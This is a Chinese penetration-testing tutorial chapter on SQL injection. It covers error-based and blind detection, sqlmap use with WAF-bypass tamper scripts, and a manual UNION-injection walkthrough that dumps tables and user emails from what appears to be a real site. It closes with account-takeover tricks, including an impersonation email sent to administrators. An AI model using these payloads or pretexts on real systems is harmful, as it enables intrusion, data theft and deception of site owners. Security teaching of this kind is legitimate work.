3.2 SQL注入

SQL注入曾在几年前就流行于世,而如今,SQL注入仍是最流行的攻击手段之一,开发者们对其伤透了脑筋。当然,主要是由于注入攻击的灵活性,一个目的,多个语句,多个写法。

SQL注入可以分为工具和手工两类,工具因为自动化,常常会比手工高效很多,但因为其并不是有针对性地进行注入,相比手工注入就局限了很多。

3.2.1 注入的挖掘

一切输入都可能有危害,有参数的地方皆有可能存在SQL注入。而由于浏览器的局限性,常常会忽略一些隐藏链接、API调用、http头中的参数。那如何进行全面的SQL注入挖掘呢?

这里需要用到工具Burp。

由图3-7可以看到操作时向Web站点发送的每个http数据包。数据包中包含了http头和传递的参数,而注入常常就发生在这些参数中,图3-8简单分析了http数据包的结构(大方框为http头,小方框为参数) 。

图3-7 对站点操作时的数据包

图3-8 分析了http数据包的结构

大致了解了数据包结构以后,便可以开始进行注入的挖掘了。所谓挖掘,就是判断某个参数是否可以进行注入。下面来探讨一下常见的判断方法。

1.报错注入

一般情况下,大部分编程语言为了方便开发人员可以灵活地调试和修复其应用程序,会使用一些内置的错误处理库,从而简化调试程序的时间。而报错注入就是输入一些特殊字符使语法产生错误,从而判断是否存在注入,常见的特殊字符如下。

(1)'

(2)\

(3);

(4)%00

(5))

(6)(

(7)#

(8)"

在提交参数时加上这些特殊字符,如果报错,那么极有可能是一个注入点,如图3-9所示。

图3-9 单引号报错实例

2.盲注

何为盲注?其实盲注和报错注入是相对的,报错注入会返回一些数据库的具体信息,而盲注只会返回true与false两种值,从而对想得到的信息进行猜解;因此相比报错注入,盲注的效率较为低下。常见的盲注分为两种,布尔型盲注和基于时间的盲注。这两者的区别在于判断注入的条件不同。布尔型盲注是对页面响应的信息进行判断,而基于时间的盲注也就是常说的延迟注入,是对页面响应的时间进行判断。

对于布尔型盲注,在网站默认关闭错误信息时,如果这时并没有做其他处理,可以通过逻辑表达式来进行盲注。大概的原理是:如果笔者的逻辑表达式是正确的,整个SQL查询语句一定会返回结果,那么网站显示了正确的内容。基于这个原理,可以通过注入依次获取每个字符。常见的判断方法中最经典的便是and 1=1;and 1=2了,当提交and 1=1时页面正常,and 1=2时页面不正常,则存在注入。不过,这种判断方法是针对数字型参数的,与其类似的还有or 2>1;or 1>2;xor 1=1;xor 1=2等。但对于字符型参数,常用的语句是' and '1' = 1 ; ' and '1' = 2,其判断方法和数字型相同。

对于基于时间的盲注,一般是在条件更为苛刻的情况下(例如最终进行了跳转)使用的一种注入的方式。以MySQL为例,对其的判断方法主要涉及sleep和benchmark两个函数,这里以benchmark函数为例进行介绍。

     BENCHMARK(count,expr)

其作用是重复count次执行表达式expr,提交后根据其响应时间来判断表达式正确与否,是否存在注入。当然,延迟注入一般都交给工具或脚本去分析,能大大提高准确性和效率。

3.2.2 工具注入

随着注入攻击的流行,市场上工具的种类也较为繁多。常见的有sqlmap、Havij等,其中sqlmap因为免费、开源、功能强大等特点,受到了广大使用者的推崇。本节便来详细讲解Windows系统下sqlmap的使用。

1.sqlmap的安装

(1)sqlmap需要在Python环境下才能运行,因此在安装sqlmap之前需要安装Python。在Windows下,下载并运行Python的安装包,Python由于2.x版本与3.x版本性能上有一定差异,所以我们使用2.7.2版本(Python的版本问题是个很有趣的话题,各位如果感兴趣可以自己查找资料进行了解),如图3-10所示。

(2)安装完成后,需要添加环境变量。安装路径是D:\python,执行“我的电脑”→“属性”命令,打开“高级”选项卡,如图3-11所示。

图3-10 Windows环境下安装Python

图3-11 配置运行环境

(3)单击“环境变量”按钮,在path中添加D:\python(安装路径)并保存,如图3-12所示。

(4)Python安装配置完毕后,下载sqlmap的压缩包并解压,解压路径是D:\python\sqlmap\。打开命令提示符,用cd命令切换到sqlmap解压路径,试着运行一下sqlmap.py,检查其是否安装成功,如图3-13所示。

图3-12 设置环境变量

图3-13 检查是否安装成功

2.sqlmap的使用

sqlmap是一款半自动化工具,需要手动输入命令进行注入。常见的命令如下(这里假设目标URL为http://url/news?id=1)。

3.对WAF的绕过

在实际注入测试中,遇到WAF(Web Application Firewall,网站应用级入侵防御系统)是常有的事,我们可以绕过WAF继续进行注入检测,本节讨论sqlmap对WAF的绕过。

在sqlmap中,用-tamper命令可以调用内置的绕过脚本,具体语法格式如sqlmap.py -u"url" -v 1 --dbs -tamper "脚本名"。表3-1是常用的脚本名及作用。

表3-1 sqlmap常用脚本名及其作用

3.2.3 手工注入

在渗透测试中,再强大的注入工具也会有局限性,而手工注入恰恰能解决这一弱点。当然,手工注入需要渗透者对其针对的数据库语法有一定了解。不过,因为SQL注入的灵活性与多样性,如果详细深入地讲,恐怕能单独写成一本书。在这里,笔者就选取最具代表性的例子给大家示范。

(1)对渗透目标进行注入的挖掘,这里对挖掘的过程就不再赘述了。确定了注入点,便可以开始进行注入测试了,如图3-14所示。

图3-14 MySQL查询语句示例

注意:这里用到了Burp的repeater功能。

由图3-14可以看到POST下的参数topic_title存在报错注入,这里提交了单引号,返回了错误信息。

错误信息中返回了出错的查询语句如下:

     SELECT 'aws_topic'.* FROM 'aws_topic' WHERE ( topic_title = ''') ORDER
     BY 'topic_id' ASC

(2)这是一条MySQL查询语句。再来看看提交的数据位于语句的什么位置,提交xx',可以看到查询语句如下:

     SELECT 'aws_topic'.* FROM 'aws_topic' WHERE ( topic_title = 'xx'')
     ORDER BY 'topic_id' ASC

(3)确定了提交的数据所处位置,便可以用闭合语句试试。假设这里提交的是xx')#,于是查询语句就变成了:

     SELECT 'aws_topic'.* FROM 'aws_topic' WHERE ( topic_title = 'xx') #')
     ORDER BY 'topic_id' ASC

而#在MySQL中是注释符,所以实际上查询语句变成了:

     SELECT 'aws_topic'.* FROM 'aws_topic' WHERE ( topic_title ='xx')

(4)成功闭合。因此构造的语句格式应该是:

     ')注入语句 #

(5)知道注入语句的格式了,再来看看查询语句本身,因为是在WHERE后面,所以只能用联合查询或者盲注进行注入。先用ORDER BY进行猜解,可以看到ORDER BY 16时正常返回,而ORDER BY 17时报错。因此可以构造:

     ')  UNION SELECT 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16  #

如图3-15所示,提交后正常返回,因此可以判断是支持联合查询的。

图3-15 联合查询

(6)用user()、database()等函数代进去查询试试。

     ')  UNION SELECT user(),2,3,4,5,6,7,8,9,10,11,12,13,14,15,16  #

提交后,结果如图3-16所示。

图3-16 查询数据库用户名

可以看到user为ask@*.*.61.105,再将user()替换成database()试试。

如图3-17所示,这里可以看到数据库为ask,接下来继续爆破表名。构造:

     ') union select group_concat(distinct table_name),2,3,4,5,6,7,8,9,10,
     11,12,13,14,15,16 from information_schema.tables where table_schema=database() #

图3-17 查询数据库名

提交后,如图3-18所示,可以看到表名已经在返回的信息中了。

图3-18 成功返回表名

将表名整理出来,可以清楚地看到表结构,如图3-19所示。

图3-19 表结构示意图

选一个表进行爆破字段,这里选的是aws_edm_userdata,其hex值为0x6177735f65646d 5f7573657264617461,因此构造如下语句:

     ')+union+select+1,group_concat(distinct+column_name),3,4,
     5,6,7,8,9,10,11,12,13,14,15,16+from+information_schema.
     columns+where+table_name=0x6177735f65646d5f7573657264617461 #

结果如图3-20所示。

图3-20 返回字段

从结果中可以看到存在id、usergroup、email三个字段,这里只暴露出email字段的数据,提交如下语句:

     ')+union+select+1,group_concat(email,0x2B),3,4,5,6,7,8,9,
     10,11,12,13,14,15,16 +from+aws_edm_userdata #

结果如图3-21所示。

图3-21 注入结果

3.2.4 注入延伸

在注入中经常会碰到的一种情况就是:注入得到的加密过的密文却解不开。对于此问题,在这里讲解几种可行的办法。

(1)利用国外的搜索引擎,往往会有意想不到的收获,最常见的是Google。

(2)用Whois查出管理员邮箱,然后发一份邮件通知管理员,让其更改密码。邮件内容无非类似于“我们是×××检测中心,您的网站存在风险,请立即修改管理员密码……”。

(3)分析Cookie。有时加密过的密文会出现在Cookie里,对于这种情况,直接用管理员的密文替换原来Cookie中的密文即可。

(4)在特定的注入环境下,有时候可以用新密文替换掉原来的密文。当然,这种方法的执行条件比较苛刻,在实际中较少碰见。

(5)利用找回密码功能。常见的是利用密保问题找回密码,对于这种情况,可以将密保问题答案注入出来,然后利用找回密码功能成功登录目标账户。

(6)逻辑缺陷。例如有些登录功能、修改找回密码功能,在数据包中直接用密文传输。这时,就可以用得到的密文进行替换,从而进行登录、更改密码等操作。